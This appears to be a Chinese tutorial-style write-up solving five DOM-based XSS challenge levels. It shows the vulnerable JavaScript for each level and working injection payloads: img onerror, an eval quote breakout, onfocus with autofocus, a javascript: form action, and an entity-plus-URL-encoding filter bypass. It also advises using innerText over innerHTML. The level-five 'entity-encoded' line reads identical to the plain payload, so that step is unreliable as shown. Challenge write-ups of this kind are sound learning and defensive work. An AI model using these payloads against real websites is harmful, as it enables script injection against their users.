DOM型xss可以使用js去控制标签中的内容。
我使用的是一个在线的dom型xss平台,靶场链接:Challenges
第一关Ma Spaghet!:
Ma Spaghet! 关卡
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
(new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!" 这里的意思为获取url中的get参数somebody,如果有那么就设置h2的值为get参数的值,如果没有则设置h2的值为Somebody") + " Toucha Ma Spaghet!
(1):当get参数中存在somebody时,h2回显
(2):当get参数中不存在somebody时,h2回显
这里存在一个问题,somebody传谁就显示谁,那么我们传递给js代码给h2时:
从上面可以看到,当?somebody=<script>alert(1)</script>时,并没有弹窗,正常在h2标签中会执行,但是这里不能执行的原因为:
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
h2的id为spaghet,我们使用innerHTML将我们get参数传递到h2标签中。
我们去官网查看可以发现:https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
在html 5中指定不执行由 innerHTML
插入的 <script></script>标签,这就是不能弹窗的原因。
innerHTML
只过滤了<script>,我们可以写其他的来触发:当传递其他的可以触发js的时就不能过滤。
?somebody=<img src=1 onerror="alert(1)">
总结:
与innerHTML
有类似效果的时innerText:
真正防止xss的是innerText,不是innerHTML
,innerHTML
只能过滤<script></script>
当我们将innerHTML
换为innerText后,再次传第相同的somebody参数。
<script>
spaghet.innerText = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
传递后发现:并没有触发。所以innerText才是真正可以用来防止xss的。当我们写页面元素时建议使用innerText。
第二关Jefff:
Jefff 关卡
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`) ---其中的动作为给变量ma赋值。
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
eval ---js中的一个执行函数。
setTimeout ---定时器,上面表示在1秒后执行定时器中的动作。
分析:我们可以看到给h2传参使用的是innerText,所以我们想在maname.innerText = ma上面做基本不可能了。
我们只能考虑在eval中做。
解决方法1: 尝试闭合双引号,之后在其中闭合单引号。所以我们需要在传递的变量jeff上做。
jeff=asd" ;alert(12);//
eval(`ma = "Ma name asd" ;alert(12);//"`) --- // 可以将后面多出的双引号注释掉。
我们可以看到,传递的值jeff=asd" ;alert(12);// 时就会弹窗,说明这里存在DOM型xss的漏洞
解决方法二:
可以使用连接符的方式来做:
jeff=asd" ;-alert(12)-"
第三关:
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
wey = wey.replace(/[<>]/g, '') ----- 过滤了 < 和 > ;
解决方法:
闭合双引号。
wey=asd" onclick="alert(12)
虽然上面可以触发,但是需要用户的参与(点击输入框),与自动触发不符合。所以我们需要使用下面的一个方法。
onfocus
是获取焦点的意思,获取焦点以后就可以触发它的动作(弹窗)。onfocus不可以自动聚焦,所以我们还需要一个函数autofocus来自动聚焦,这样就不需要用户的参与就可以触发了。
wey=asd" onfocus="alert(12)" autofocus="true
这样就可以不需要用户的参与就可以弹窗了。
第四关:
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
这段代码的意思为在2秒后对from表单进行提交,提交的位置就是ricardo.action 接收到的路径,路径由get参数中的ricardo提供。
在action中可以识别js伪协议,那么就好办了。
解决方法:
ricardo=javascript:alert(12)
第五关:
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
smith = smith.replace(/[\(\`\)\\]/g, '') -----过滤了( , ) ,反引号,转义字符。
分析:
虽然使用smith.replace进行了过滤,但是我们可以使用编码的方式来绕过它的过滤。
解决方法:
markassbrownlee=<img src=1 onerror="alert(1)">
传递的参数在url中,所以如果我们直接将(1)进行urlcode编码浏览器传递给smith时会自动解码,但是在url中要遵守url规则,不能直接传递实体编码。
所以我们可以先将(1)进行实体编码,再对实体编码进行urlcode编码。
markassbrownlee=<img src=1 onerror="alert(1)">
实体编码:
markassbrownlee=<img src=1 onerror="alert(1)">
urlcode编码:
markassbrownlee=<img src=1 onerror="alert%26%23x0028%3B%26%23x0031%3B%26%23x0029%3B">
当参数在url中传递过去后会解码,漏出实体编码,实体编码就可以绕过过滤传递给h2正常执行。
传递参数进去:发现此时就可以进行弹窗了。